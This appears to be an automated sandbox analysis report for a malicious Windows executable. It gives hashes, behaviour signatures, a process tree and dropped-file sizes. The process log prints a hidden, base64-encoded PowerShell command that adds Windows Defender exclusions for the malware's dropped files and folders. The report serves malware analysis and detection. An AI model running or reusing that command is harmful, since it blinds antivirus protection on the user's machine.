Resubmissions
14/04/2025, 07:51
250414-jp1kfssjz9 1014/04/2025, 07:46
250414-jl9nyssjt9 1008/04/2025, 15:58
250408-tevasswl18 1008/04/2025, 14:19
250408-rm2nqsvqw2 10Analysis
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max time kernel
883s -
max time network
885s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
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submitted
08/04/2025, 15:58
General
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Target
f6ac1ea5c19284854998f25244a12f25.exe
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Size
654KB
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MD5
f6ac1ea5c19284854998f25244a12f25
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SHA1
99fbd0be6020def40eedb33c453c9e516d39ddb4
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SHA256
10478f3361a6cdb5ce48bf9490ea60505e90ef4f9649973ca35bdcf43af1f4b9
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SHA512
b2415c9af9284eebc053ef56c82ad15043b713d38c6fca1cabdbeff0d726f9f956bf56655c60f0d6ec95ef5150e50da1a539cbef5502dd032399721a545badda
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SSDEEP
12288:slGjIbKjk/x78IANpdqAUJeBrwwsRpIFgVXC0xi8/+b7LegZSv:uGcbKj+d0dzAZVXObfeoG
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Executes dropped EXE 5 IoCs
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Suspicious use of SetThreadContext 1 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
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Suspicious use of WriteProcessMemory 6 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe"C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUARgBFAFIARQBOAGMARQAgAC0ARQB4AGMATAB1AHMASQBPAE4AUABhAFQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBPAFIAYwBFADsAIABhAEQAZAAtAE0AcABQAHIARQBGAEUAcgBlAG4AYwBlACAALQBlAHgAQwBMAHUAUwBpAG8AbgBQAHIATwBjAGUAUwBTACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACAALQBGAE8AcgBjAEUA1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exeC:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exeC:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe1⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exeC:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe1⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exeC:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe1⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exeC:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
838B
MD50a743d6c57450a2d49a29271195f3356
SHA12f412841f6c0e365b5f08a22772254b07934d17d
SHA25609c2a373e9885355f76bf3a42e13d83510d1dfdaa02f507de28d25fdd46c681d
SHA512aa61e62eee06bdf358ccd27bc855ed0f9dc16a0240b3b2bb431aa67a51c0a90a1e58cb23048063b6a69a9d177aab07f7950c77d385fb11969952513cdc8e060d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
654KB
MD5f6ac1ea5c19284854998f25244a12f25
SHA199fbd0be6020def40eedb33c453c9e516d39ddb4
SHA25610478f3361a6cdb5ce48bf9490ea60505e90ef4f9649973ca35bdcf43af1f4b9
SHA512b2415c9af9284eebc053ef56c82ad15043b713d38c6fca1cabdbeff0d726f9f956bf56655c60f0d6ec95ef5150e50da1a539cbef5502dd032399721a545badda
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Filesize
8KB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
10.8MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
8KB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
1.0MB
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Filesize
304KB
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Filesize
344KB
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Filesize
336KB
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Filesize
8KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
672KB
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Filesize
10.8MB
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Filesize
136KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
10.8MB